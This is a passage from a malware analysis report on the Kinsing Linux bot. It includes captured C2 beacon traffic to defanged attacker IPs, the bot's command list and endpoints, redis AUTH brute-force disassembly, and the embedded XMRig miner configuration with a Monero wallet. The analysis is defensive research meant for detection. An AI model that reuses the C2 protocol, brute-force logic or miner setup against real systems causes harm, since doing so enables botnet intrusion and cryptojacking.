■ 11.6 Logging to /dev/log and the success callback to C2
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0)
connect(3, {sa_family=AF_FILE, path="/dev/log"}, 110
sendto(3, "<78>Feb 13 09:24:08 crontab[7858]: (USERNAME) LIST (USERNAME)",
7843 write(6, "POST /s HTTP/1.1\r\n
Host: 91[.]215.169[.]111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 50\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\nVersion: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
WztG\214D\310|\355R\317\3372\7\2279\336)]\3030\263\246\263\361\263\230m\330n\246\5l\232
V\332\233\225%\f\343,\327\361S\356\372\260\273\340",
451 )
WztG214D310|355R317337272279336)]3030263246263361263230m330n2465l232V3 32233225%f343,327361S356372260273340
- The crontab change leaves a syslog entry (
crontab[pid]: (USER) LIST), which is a forensic artifact even after the attacker cleans up. POST /sis the "I am infected and set up" report. Seeing it in proxy logs means the infection completed.
■ 11.7 The embedded miner: a tweaked XMRig
The miner is packed into the bot with pkger. The data below is the pkger index followed by the base64 of the ELF (rendered as an image, since it is the payload itself). It also leaks the coder's build path /home/nook/go/src/my/bot and the build timestamp (2019-12-29).

> ? 0xc0006ae001 - 0xc000a7f915 = 4004116 0x3d1914 017214424 3.8M
[0x00732868 [xAdvc]0 0% 180 eeeeelf]> pd $r @ str.XMRig_5.5.0___built_on_Dec_29_2019_with_GCC
;-- "XMRig 5.5.0\n built on Dec 29 2019 with GCC":
;-- hit0_1:
0x00732868 .string "XMRig 5.5.0\n built on Dec 29 2019 with GCC" ; len=43
0x00732893 0000 add byte [rax], al
0x00732895 0000 add byte [rax], al
0x00732897 ~ 006661 add byte [rsi + 0x61], ah
;-- "failed to export hwloc topology.\n":
0x00732898 .string "failed to export hwloc topology.\n" ; len=34
||||| 0x007328ba 0000 add byte [rax], al
||||| 0x007328bc 0000 add byte [rax], al
||||| 0x007328be 0000 add byte [rax], al
||||| ;-- "hwloc topology successfully exported to "%s"\n":
||||| 0x007328c0 .string "hwloc topology successfully exported to \"%s\"\n" ; len=46
|||| 0x007328ee 0000 add byte [rax], al
|||| ;-- "Unexpected end of regex when escaping.":
|||| 0x007328f0 .string "Unexpected end of regex when escaping." ; len=39
||| 0x00732917 ~ 00556e add byte [rbp + 0x6e], dl
||| ;-- "Unexpected end of regex when reading control code.":
||| 0x00732918 .string "Unexpected end of regex when reading control code." ; len=51
0x0073294b 00 invalid
0x0073294c 0000 add byte [rax], al
0x0073294e 0000 add byte [rax], al
;-- "Unexpected end of regex when ascii character.":
0x00732950 .string "Unexpected end of regex when ascii character." ; len=46
;-- "XMRIG_VERSION":
0x0073297e .string "XMRIG_VERSION" ; len=14
;-- "XMRIG_EXE_DIR":
0x0073298c .string "XMRIG_EXE_DIR" ; len=14
;-- "XMRIG_CWD":
0x0073299a .string "XMRIG_CWD" ; len=10
MD5 5b439ea84bc00eb74217461d1c64342d SHA-1 fece7b18f2b763690b617f8649d4f9c8c93f6dc6
- Embedded payloads leave fingerprints: the build path reveals the author handle ("nook"), and the build date matches the XMRig build string (Dec 29 2019). Cross-checking two independent timestamps is good practice.
- The base64 form of an ELF header (bytes
7f 45 4c 46) is worth learning to spot. Learn to recognize it, because it spots hidden ELF files inside scripts and binaries.
■ 11.8 al.sh: uninstalling cloud security agents (Aliyun aegis / quartz, qcloud YunJing)


- Seeing the same script in strace and in memory is double confirmation. When two independent sources agree, your finding is solid.
- Targeting Alibaba (aegis) and Tencent (YunJing) agents shows who the intended victims were: servers in Chinese cloud environments.
■ 11.9 "o": sending execution output to C2
write(6, "POST /o HTTP/1.1\r\n
Host: 91[.]215.169[.]111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 20\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\nMem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\r\n
Version: 28\r\n
Accept-Encoding: gzip\r\n\r\n
WzhP\313\f\337v\373\22\216\3276\24\263J\241)S\234", 421
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:37:25 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337w\371\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\3
0N\205x\332\233\225%\21\376?\207\256\23\254\355\276\272\256{\177\1\241!\24\343\256:\202\310
\230\234\207\340\300V\3\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\3
3\304\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\
234Y\30\212\354\342\3104\35", 4096) = 304
nWzhP313f337w37122216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?
20725623254355276272256{1771241!24343256:202310230234207340300V3364221P374344;k236K2138&365
235321ct204240317`Ca+S:2253330417Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35
276224234Y30212354342310435
- Regular small POSTs to the same host at a fixed interval are beaconing. Even without decrypting anything, timing analysis can reveal C2.
■ 11.10 "spre.sh": fetching the latest installer

- The decrypted task
download_and_execshows the C2 command format (Id, Type, Data). This is what the embedded RSA key gives you. - Each fetched script gets a new random name in the same work directory. Hunt by directory, not by file name.
《 13. The massscan() embedded script 》
The masscan() function does not scan by itself. It runs an embedded shell script that installs libpcap, fetches the scanner (saved as firewire and verified by MD5) and runs it with the parameters pushed by the C2.

- The bot outsources scanning to a well-known fast scanner and only passes the parameters (port, rate, input, output, download URL). Malware authors reuse tools just like we do.
- Unexpected package installs (
libpcap-dev) on a production server, plus heavy outbound SYN traffic, are a strong scanning signal.
《 14. Redis servers AUTH attacker 》
redisBrute() dials the target over TCP, sends AUTH <candidate> and checks the reply. If the reply contains OK, the hit is reported back to the C2 through addResult().
sym.go.main.redisBrute() (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h) 0x007a1a9d int64_t arg1 0x007a1aab call fcn.0045abb1 fcn.0045abb1 0x007a1aeb "tcp" 0x007a1b1a call sym.go.net.__Dialer_.DialContext 0x007a1b6f call sym.go.runtime.deferprocStack 0x007a1b95 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1bbc call sym.go.strings.genSplit 0x007a1c1f "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptErrorFo.." 0x007a1c3e "\n\r\t" 0x007a1c53 call sym.go.runtime.concatstring3 0x007a1c74 call sym.go.runtime.stringtoslicebyte 0x007a1cae call sym.go.time.Now 0x007a1cc2 call sym.go.time.Time.Add 0x007a1d2c call sym.go.runtime.makeslice 0x007a1db1 call sym.go.runtime.slicebytetostring 0x007a1dd6 "Client sent AUTH, but no password is setFailed to initialized s" 0x007a1deb call sym.go.strings.Index 0x007a1e12 "OK" // greo if the response brute success 0x007a1e27 call sym.go.strings.Index 0x007a1e4e call sym.go.runtime.deferreturn 0x007a1e98 ";<=>?@ABCFLMNOPSZ[\"\\n\r\t" 0x007a1ec4 call sym.go.runtime.concatstring3 0x007a1ee9 call sym.go.main.addResult 0x007a1eef call sym.go.runtime.deferreturn 0x007a1f05 call sym.go.runtime.deferreturn 0x007a1f1b call sym.go.runtime.deferreturn 0x007a1f48 call sym.go.runtime.newobject 0x007a1f87 // will response this error if not success 0x007a1f87 "SetReadDeadline failed:Split called after ScanTask %d, executed in %sTrinit\u00e9-et-Tobago (la)Unsupported command: %vVariant Also" 0x007a1f9c call sym.go.runtime.newobject 0x007a1fff call sym.go.github.com_op_go_logging.__Logger_.log 0x007a2005 call sym.go.runtime.deferreturn 0x007a2029 call sym.go.runtime.gcWriteBarrier 0x007a2034 call sym.go.runtime.deferreturn 0x007a204a call sym.go.runtime.deferreturn 0x007a2064 call sym.go.runtime.panicSliceAcap 0x007a206a call sym.go.runtime.morestack_noctxt 0x007a206f sym.go.main.redisBrute1
- Go strings are not NULL-terminated, so radare2 shows a long run of glued strings ("AUTH AcircAdlam..."). Only the first bytes (length 5:
AUTH) are used. Read the length argument, not the whole string.
[0x007a1a60]> 0x7a1bef # sym.go.main.redisBrute1 (int64_t arg_8h, int64_t arg_10h, int64_t arg_18h); __1a60__[oa] [ 0x7a1bef ] f t ; CODE XREF from sym.go.main.redisBrute1 @ 0x7a1bdb │ │ mov qword [var_78h], rax │ └─.. mov qword [var_140h], rdx ┌─┘ mov rcx, qword [rax + 8] __1a7b__[od] mov qword [var_160h], rcx f t mov rbx, qword [rax] │ │ mov qword [var_a0h], rbx │ └────┐ lea rsi, [var_118h] ┌───────────┘ mov qword [rsp], rsi │ │ ; "AUTH AcircAdlamAlphaAprilAringArubaBamumBatakBeninBuhidCLOSECNAMEChileChinaClassDEBUGDeltaDirtyDograECDSAERROREcircEgyptError lea rsi, [0x0087f436] f t │ mov qword [var_1c0h], rsi │ │ │ mov qword [var_1b8h], 5 │ └─────┐ mov qword [var_1b0h], rbx ┌───────────────┘ mov qword [var_1a8h], rcx │ │ ; "\n\r\t" __1b7c__[oh] __2033__[oAm] lea rdi, [0x0087dfe0] f t : mov qword [var_1a0h], rdi │ │ mov qword [var_198h], 1 │ └─────┐ call sym.go.runtime.concatstring3;[ok] ┌───────────────┘ mov rax, qword [var_188h] │ │ mov rcx, qword [var_190h __1bd4__[o │ mov qword [rsp], 0 │ │ mov qword [var_1c0h], rcx │ │ mov qword [var_1b8h], rax │ │ call sym.go.runtime.stringtoslicebyte;[ol] (THE ATTACK FOR AUTH) <<============== HERE!! mov rax, qword [var_150h] f t │ mov rcx, qword [rax + 0x50] │ │ │ mov rdx, qword [var_1a8h] │ └─────────┐ mov rbx, qword [var_1b0h] ┌─────────────────┘ mov rsi, qword [var_1a0h] │ : │ mov rdi, qword [var_90h] __1d0f__[oq] __1f30__[oAe] mov qword [rsp], rdi : : mov qword [var_1c0h], rbx mov qword [var_1b8h], rdx :
concatstring3("AUTH ", password, "\n")builds the brute-force line. Following arguments into runtime calls like this is the key Go reversing skill.- Defense: never expose Redis to the internet, bind it to localhost or a private network, and use a strong
requirepassor ACLs.
《 15. What forensics alone cannot dissect 》
A plain signature scan on the binary is full of false positives (marked fp). This shows why static carving alone cannot dissect a Go-packed bot: you need to reverse the loader (pkger) logic and decode the embedded payloads yourself, as done above.
- open input file: kinsing - zip data to check: 32 bytes - zip windowBits: 15 - seek offset: 0x00000000 (0) DECIMAL HEXADECIMAL DESCRIPTION (many fp) -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 4256240 0x40F1F0 Certificate in DER format (x509 v3), header length: 4, sequence length: 13568 4684208 0x4779B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 2560 4809179 0x4961DB Base64 standard index table 4820858 0x498F7A Executable script, shebang: "/bin/sh" 4823632 0x499A50 StuffIt Deluxe Segment (data): ftHSY0rMGI9CLrl2ZvDLiahto= 4848165 0x49FA25 eCos RTOS string reference: "ecosidnshome-webserverdalucernecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouder" 4848195 0x49FA43 eCos RTOS string reference: "ecostumedio-campidano-mediocampidanomediocouchpotatofriesardiniacouncilukowildlifedorainfraclouderacouponsarluroycq-acranbrookuw" 14148142 0xD7E22E VxWorks symbol table, big endian, first entry: [type: initialized data, code address: 0x800, symbol address: 0x100] 14259776 0xD99640 SHA256 hash constants, little endian 14259792 0xD99650 SHA256 hash constants, little endian 14663130 0xDFBDDA Cisco IOS microcode, for "" 16732624 0xFF51D0 GIF image data, version "87a", 18759 16732632 0xFF51D8 GIF image data, version "89a", 16765673 0xFFD2E9 Boot section Start 0x42424242 End 0x42424242 16765677 0xFFD2ED Boot section Start 0x42424242 End 0x0 16765681 0xFFD2F1 Boot section Start 0x0 End 0x0 16765685 0xFFD2F5 Boot section Start 0x0 End 0x0 +------------+-----+----------------------------+----------------------+ | hex_offset | ... | zip -> unzip size / offset | spaces before | info | +------------+-----+----------------------------+----------------------+ 0x00298945 9206 -> 9192 / 0x0029ad3b _ 2722117 8:4:9:0:1:7affffff // fp 0x00d5dc58 65292 -> 65280 / 0x00d6db64 _ 11284253 8:7:1:0:1:19040000 // fp 0x00d78eb8 65292 -> 65280 / 0x00d88dc4 _ 45908 8:7:1:0:1:00308100 // fp
- Automated carving tools are good starting points, but do not trust every hit. "Cisco IOS microcode" inside a Linux bot is clearly a false positive. Validate each result.
《 16. Open-source Go libraries used by kinsing 》
These open-source Go libraries were identified from the symbols and strings in .rodata / .gopclntab. Knowing them saves a lot of reversing time, because you can skip the library code and focus on main.*.
.rodata:00000000007C4953 0000001B C github.com/hashicorp/yamux.rodata:00000000007C4973 0000001B C github.com/markbates/pkger.rodata:00000000007C84E2 00000023 C !github.com/asaskevich/govalidator.rodata:00000000007C9B42 00000025 C $github.com/kelseyhightower/envconfig.gopclntab:000000000122DFD0 00000033 C github.com/paulbellamy/ratecounter.gopclntab:00000000013703A0 00000037 C github.com/armon/go-socks5.gopclntab:00000000013A5B9C 00000028 C github.com/op/go-logging.AddModuleLevel"gopclntab":00000000013EDDB8 00000058 C /go/pkg/mod/github.com/kardianos/osext.rodata:00000000007C2173 00000018 C github.com/google/btree.rodata:00000000007C4993 0000001B C github.com/nu7hatch/gouuid- Identify libraries first and exclude them. In a 16 MB Go binary, maybe 1–2% is the author's own code.
- The library choice tells you the design: yamux plus go-socks5 means tunneling and proxying, resty means a REST-style C2, and pkger means embedded payloads.
《 17. Static analysis of build a71ad3 — the bot that spr.sh installs 》
The spr.sh updater only accepts a kinsing binary with MD5 a71ad3167f9402d8c5388910862b16ae. That exact build was checked here statically (it was never executed). The focus is the bot: how it is built, what it carries, and which code paths it has. The miner and the scripts it carries are secondary companions and are covered only as far as they tell us about the bot and its operator.
readelf, strings and small Python parsers of .gopclntab and the pkger store, because radare2 was not available in the workspace used for this re-check. The results are reproducible with the r2 commands shown.■ 1. Identity of the build

- This file is 16,687,104 bytes (
0xfea000). That matches the size range noted for this hash. Recording the exact size next to the hash avoids confusion between near-identical builds. - The SHA-256 above is the identifier to use in VirusTotal, MISP and EDR searches; MD5 is kept because the malware itself uses MD5 for its self-check.
■ 2. Build fingerprint: Go module list (the bot's toolchain DNA)
Go binaries carry their module list. It is a precise fingerprint of the developer's build environment and a strong clustering pivot between builds.
# r2: ps @ <go.buildinfo/modinfo> (modinfo block of the bot) path command-line-arguments mod my/bot (devel) dep github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= dep github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA= dep github.com/go-resty/resty/v2 v2.1.0 h1:Z6IefCpUMfnvItVJaJXWv/pMiiD11So35QgwEELsldE= dep github.com/google/btree v1.0.0 h1:0udJVsspx3VBr5FwtLhQQtuAsVc79tTq0ocGIPAU6qo= dep github.com/hashicorp/yamux v0.0.0-20190923154419-df201c70410d h1:W+SIwDdl3+jXWeidYySAgzytE3piq6GumXeBjFBG67c= dep github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0 h1:iQTw/8FWTuc7uiaSepXwyf3o52HaUYcV+Tu66S3F5GA= dep github.com/kelseyhightower/envconfig v1.4.0 h1:Im6hONhd3pLkfDFsbRgu68RDNkGF1r3dvMUtDTo2cv8= dep github.com/markbates/pkger v0.12.8 h1:4mEUzWb1HzRnxPwUevBX8g8ntsQ4rWw2R8CRB2QdZVI= dep github.com/nu7hatch/gouuid v0.0.0-20131221200532-179d4d0c4d8d h1:VhgPp6v9qf9Agr/56bj7Y/xa04UccTW04VP0Qed4vnQ= dep github.com/op/go-logging v0.0.0-20160315200505-970db520ece7 h1:lDH9UUVJtmYCjyT0CI4q8xvlXPxeZ0gYCVvWbmPlp88= dep github.com/paulbellamy/ratecounter v0.2.0 h1:2L/RhJq+HA8gBQImDXtLPrDXK5qAj6ozWVK/zFXVJGs= dep github.com/peterbourgon/diskv v2.0.1+incompatible h1:UBdAOUP5p4RWqPBg048CAvpKN+vxiaj6gdUUzhl4XmI= dep github.com/shirou/gopsutil v2.19.10+incompatible h1:lA4Pi29JEVIQIgATSeftHSY0rMGI9CLrl2ZvDLiahto= dep golang.org/x/net v0.0.0-20190628185345-da137c7871d7 h1:rTIdg5QFRR7XCaK4LCjBiPbx8j4DQRpdYMnGn/bJUEU= dep golang.org/x/sys v0.0.0-20191128015809-6d18c012aee9 h1:ZBzSG/7F4eNKz2L3GE9o300RX0Az1Bw5HF7PDraD+qU=
- The newest dependency date (
golang.org/x/sys v0.0.0-20191128...) gives a lower bound for the build date: after 2019-11-28. The embedded files date it more precisely (see 4). - The same module set (go-socks5, yamux, resty, pkger, diskv, gopsutil...) appears in the v28 and v31 notes: one code base, several builds.
■ 3. The bot's code: main.* functions recovered from .gopclntab
75 functions of the bot were recovered. Compared with the v28 list in the function list chapter, the addresses shift only by a few bytes (e.g. main.doTask 0x790b70 → 0x790b80), so this is a close sibling build. New in this build: the package my/bot/single, a file-lock singleton that makes sure only one bot instance runs (the lock file). It is not yet the v31 code: main.goKrongo and main.setActiveC2CUrl are absent.

- Function names survive in
.gopclntabeven in a stripped Go binary. Parsing it gives you the bot's design in minutes: tasking, crypto, spreading, remote access. - Diff the function lists of two builds: added packages (here
my/bot/single) show what the developer worked on between releases.
■ 4. What the bot carries: the pkger store decoded
The bot embeds its payloads with pkger as a hex-encoded gzip blob (8,268,234 hex chars at file offset 0x4d2911). Decoding it statically shows the developer's build metadata and the two embedded files:

What this tells us about the bot developer:
- The source tree has 19 Go files (
command.go,exec.go,fetcher_task.go,network.go,sclient.go,task_scan.go,task_update.go...), so the bot is a structured project, not a script. - The build root is
/appwith target/go/bin/bot: a container-based build (the official Go Docker image layout). The v28 build still showed the developer's home path/home/nook/go/src/my/bot; here that personal path is already gone (January 2020), earlier than the v31 notes suggested. - The embedded files were modified on 2020-01-28 (07:50 and 07:55 UTC): the build date of this bot is on or shortly after that day.
- The embedded files keep the developer's
uid/gid 1000and device2066, the same device number seen in the v31 config ("Dev":2066): the same build machine produced both builds.
- Embedding frameworks (pkger, packr, go:embed) keep file metadata. Owner IDs, device numbers and timestamps can link builds to the same build host.
- Decode embedded stores statically and write payloads as non-executable files only for hashing. Never run them.
■ 5. The bot's own strings: tasking, scanning, update and remote-access logic
Log and format strings left in .rodata show the bot's internal work flow. These are the bot's own messages, not library noise:

| Bot capability | Evidence (strings / functions) | Meaning |
|---|---|---|
| Multi-threaded scan tasks | Task %d, processed %d/%d, left %d, thread %d, pps %d; Try to get targets for %d, offset %d | C2 pushes target lists in pages; the bot reports progress and packets per second |
| Mass-scan wrapper | masscan run %s, masscan targets empty, masscan chmod output %s | controls the embedded scanner script (masscan chapter) |
| Self-update | UpdateCommand: downloaded to %s / download error for %s; main.updateTask | replaces itself with a new build pushed by C2 |
| Command versioning | Unsupported command: %v, Unsupported command version: %v | the C2 protocol is versioned: the operator can roll out new commands safely |
| Remote access | backconnect data is empty; main.backconnect, main.socks, yamux | reverse tunnel and SOCKS5 proxy over the C2 |
| Payload delivery | download_and_exec, file copied to %s | generic downloader for any next stage |
| Encrypted tasking | decryption failed; main.RC4, main.encStruct, crypto/rsa | tasks are decrypted inside the bot |
| C2 API paths | /getT (and the paths in the C2 URL chapter) | an extra task endpoint not seen in the v28 traffic |
| Single instance | my/bot/single.(*Single).Lock/CheckLock/TryUnlock | the lock file prevents two bots on one host |
- Log strings are a gift: they describe the bot's state machine in the developer's own words. Collect them before you read any assembly.
- Capabilities that serve the operator (tunnels, tasking, updates) make the bot the real threat. The miner can be swapped any day; the bot stays.
■ 6. Companions carried by the bot (miner, scanner script)
The two embedded files are XMRig 5.5.0 builds (built Jan 28 2020). They are companions, but their configuration links this bot to the operator's wallet:
# miner configuration inside both embedded files (spotted in the wild) pool : stratum+tcp://xmr-eu1.nanopool.org coin : monero pass : mine donate-level : 0 wallet : 46V5WXwS3gXfsgR7fgXeGP4KAXtQTXJfkicBoRSHXwGbhVzj1JXZRJRhbMrvhxvXvgbJuyV3GGWzD6JvVMuQwAXxLZmTWkb
This wallet is the one public researchers used to tie the Docker, Redis and SaltStack waves of this family together (Zscaler / Red Canary). The v28 miner in this post used a different wallet (42J8...), so the operator ran more than one wallet in parallel.
The bot also keeps its companion-handling commands and the scanner wrapper script in plain text inside the binary. They are shown as an image only:
- The bot first kills an older miner by name, then installs its own: competition handling lives in the bot, not in the miner.
- Miner wallets are clustering gold: one wallet across many builds and waves means one operator.
■ 7. The RSA key label and the Hamlet text
The RSA private key used for the C2 crypto (identical in v28 and v31, see below) is stored in this build under the label "RSA TESTING KEY"; the memory dumps show it as a normal private key, so the label is swapped at runtime. The "TESTING KEY" label is the convention used in Go's own test sources; whether the key itself was copied from a public source is not verified in this post.
The full text of Shakespeare's Hamlet is embedded in .rodata (409 occurrences of HAMLET). Lacework first noted this padding in the family (via Red Canary); the v31 memory dump in this post shows the same text mixed into the bot's heap (see the v31 chapter).
- Large decoy texts inflate strings output and slow down quick triage. Filter them out (e.g.
izz~!HAMLET) and focus on the bot's own strings.
《 18. Kinsing v31 "Dev 2066" (July 2020): the updated bot 》
Kinsing kept evolving after the first analysis. This chapter documents the bot version 31 ("Dev":2066, built 2020-07-09) analysed on 2020-07-31 .. 2020-08-01 in an isolated lab. Lab-specific values (IP, user and host names, the test bot UUID) are camouflaged. The sample name used in the lab is shown as {samplename:i.e. bigip}.
■ 1. Malware definition and binary layout
//// Malware definition
Binary: GoLang 1.13 static compiled ELF,
Malware : Kinsing bot miner
[0x0087d245]> !md5sum {samplename:i.e. bigip}
fa3cf35e7e83175f395a5b6d35fd456d {samplename:i.e. bigip}
[0x0087d245]> !file {samplename:i.e. bigip}
{samplename:i.e. bigip}: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
[0x0087d245]>
{samplename:i.e. bigip}
architecture: i386:x86-64, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x000000000045b8b0
Program Header:
PHDR off 0x0000000000000040 vaddr 0x0000000000400040 paddr 0x0000000000400040 align 2**12
filesz 0x0000000000000188 memsz 0x0000000000000188 flags r--
NOTE off 0x0000000000000f9c vaddr 0x0000000000400f9c paddr 0x0000000000400f9c align 2**2
filesz 0x0000000000000064 memsz 0x0000000000000064 flags r--
LOAD off 0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**12
filesz 0x00000000003a4b40 memsz 0x00000000003a4b40 flags r-x
LOAD off 0x00000000003a5000 vaddr 0x00000000007a5000 paddr 0x00000000007a5000 align 2**12
filesz 0x0000000000bf3dd2 memsz 0x0000000000bf3dd2 flags r--
LOAD off 0x0000000000f99000 vaddr 0x0000000001399000 paddr 0x0000000001399000 align 2**12
filesz 0x0000000000052de0 memsz 0x0000000000075188 flags rw-
STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
0x65041580 off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
filesz 0x0000000000000000 memsz 0x0000000000000000 flags --- 2a00
■ 2. Version and what is new in v31
/////// kinsing version and dev info Version: 31 "Dev":2066 "2020-07-09T13:09:00.416438247Z"
- Long sleep (3minutes ++)
- No executable embedded update script, only embedded massscan script and embeded ELF miner
- Checking virtual (device/interface & clock) and debugging environment (if detected, C2 not respoding)
- C2 response will trigger downloads, no C2 response = no activities
- Initial C2 call path is changed (s => ms, g => mg)
- New Additional Decryption for C2 IP data and C2 commands
- Using only one C2 address, after response from C2, update will send binary with other C2 IP
- Miner is using different algo and login information
- miner filename and path is /tmp/{samplename:i.e. bigip}daemon (hardcoded)
- The author name (Nook) was deleted from config
- Compare versions by behaviour, not only by hash: longer sleeps, environment checks and "no C2 reply = no activity" are anti-sandbox changes that make a quick dynamic run look clean.
■ 3. Design of the v31 bot

■ 4. Hardcoded commands vs. functions
/////// bot binary hard coded commands vs functions BOT COMMANDS BOT FUNCTIONS() , -----------------------+------------------------- CMD_scan | main_runTaskWithScan CMD_update | main_updateTask CMD_exec | main_startCmd CMD_execoutput | main_execTaskOut CMD_massscan | main_masscan CMD_socks | main_socks CMD_backconnect | main_backconnect CMD_request | main_runTaskWithHttp CMD_tcp | main_runTask CMD_download_and_exec | main_downloadAndExecute CMD_redis_brute | main_redisBrute CMD_krongo | main_goKrongo <==== NEW COMMAND
- A new command (
krongo→main.goKrongo) appeared between builds. Its purpose is not confirmed in these notes; mark such items as unknown rather than guessing.
■ 5. New decryption of the C2 address
/////// new decryptions: main_healthChecker <==== Has decryption for IP ADDRESS encoding_hex_Decode <====Decrypter ";<=>?@ABCFLMNOPSZ[\"\\\n\r\t"; <==== and..Rotator 0x113B7E0 <==== C2 IP ADDRESS DATA VADDR Data: d8d5b3ead919ae88e09a72563572714a74a25df5f74e7008b67a2e721828521f91c4de 0356bb6e013b732d9d8484e26b8332b5794cdf39262b1b57865b74216cbf776e73c9ce f4d609ead86bf2db7a53b3f247ca04d970ed3b9e06f2b8c0719a0df7ecf71279822420 81808eb3acdd747bb938d1ee041cfdcf7543daaba60d190b39ccd9be9ac62db13956cd db0999cf0fdcc7d84636 //// decrypted and decoded ip (debugger) :> ps @0xc0001f0940!77 ; hxxp :// 213[.]32.10[.]148:80
- The C2 address is no longer a plain string: it is hex-encoded data decrypted by
main.healthCheckerwith a rotator. Static string search finds nothing; the address only appears in memory at runtime, which is why memory forensics wins here.
■ 6. User-Agent, UUID, work directory, lock file and the embedded miner
//////// user agent:
:> ps @ 0xc000072000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
/////// UUID (from workspace)
# hexdump -C /tmp/.ICEd-unix/uuid
00000000 35 39 64 33 61 30 36 30 2d 31 37 63 37 2d 34 65 |xxxxxxxx-xxxx-xx|
00000010 36 64 2d 36 35 38 35 2d 36 61 38 30 30 36 34 31 |6d-6585-6a800641|
00000020 30 63 36 63 |0c6c|
00000024
///////// Bot working directory
# myls -alF /tmp;echo;file /tmp/*; md5sum /tmp/*
-rwxr-xr-x 3930496 Jul 31 15:53 {samplename:i.e. bigip}daemon* <===== XMRIG miner dropped by kinsing
drwxr-xr-x 4096 Jul 31 15:53 .ICEd-unix/ <====== working directory area for exec and drops
// debug info dropping:
write(7, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0\200&@\0\0\0\0\0@\0\0\0\0\0\0 (etc)
// temporary file path:
/tmp/.ICEd-unix/[0-9]{9}
// example:
/tmp/.ICEd-unix/922209688
///////// RUN LOCK FILE (created by Go module)
/run/lock/linux.lock
///////// Embedded Miner
/tmp/{samplename:i.e. bigip}daemon: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
for GNU/Linux 2.6.32, BuildID[sha1]=0x0d6004d477c57b7294731bd
e7dcf743bd2afa0a3a6165d8cd15c0de
drop path: /tmp/.ICEd-unix/[0-9]{9} (i.e. /tmp/.ICEd-unix/922209688)
///////// UUID
# myls -alF /tmp/.ICEd-unix/
-rw-r--r-- 36 Jul 31 15:49 uuid
# hexdump -C /tmp/.ICEd-unix/uuid
00000000 35 39 64 33 61 30 36 30 2d 31 37 63 37 2d 34 65 |xxxxxxxx-xxxx-xx|
00000010 36 64 2d 36 35 38 35 2d 36 61 38 30 30 36 34 31 |6d-6585-6a800641|
00000020 30 63 36 63 |0c6c|
00000024
■ 7. C2 callbacks and HTTP requests
//////// HTTP CALLBACK COMMANDS
hxxp :// {C2-IP}/ms => POST miner data
hxxp :// {C2-IP}/mg => Initial callback
hxxp :// {C2-IP}/get => receiving encrypted command
hxxp :// {C2-IP}/hers => UNKNOWN
hxxp :// {C2-IP}2/o => post encrypted DATA
hxxp :// {C2-IP}/cron.sh => persitence installer
hxxp :// {C2-IP}/kinsing => update bot binary url
//////// C2 HTTP REQUESTS
// header formats/templates:
Host: {C2 IP ADDRESS}
User-Agent: {bot hard coded fake user agent}
Arch: {Architecture name from uname}
Cores: {CPU number from /proc/cpu}
Mem: {memory data from memfree}
Os: {OS name from uname}
Osname: {Distro name from uname}
Osversion: {Info taken from /etc/xxxrelease}
Root: {true|false}
Uuid: {bot generated UUID}
Version: {bot version}
Accept-Encoding: gzip
// Example:
// bot miner information callback
.rodata:000000000087D245 aMg db '/mg' ; DATA XREF: ____main_getMinerPid
.rodata:000000000087D248 aMs db '/ms' ; DATA XREF: ____main_sendMinerPid
GET /mg HTTP/1.1
Host: 213[.]32.10[.]148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 1
Mem: 496
Os: linux
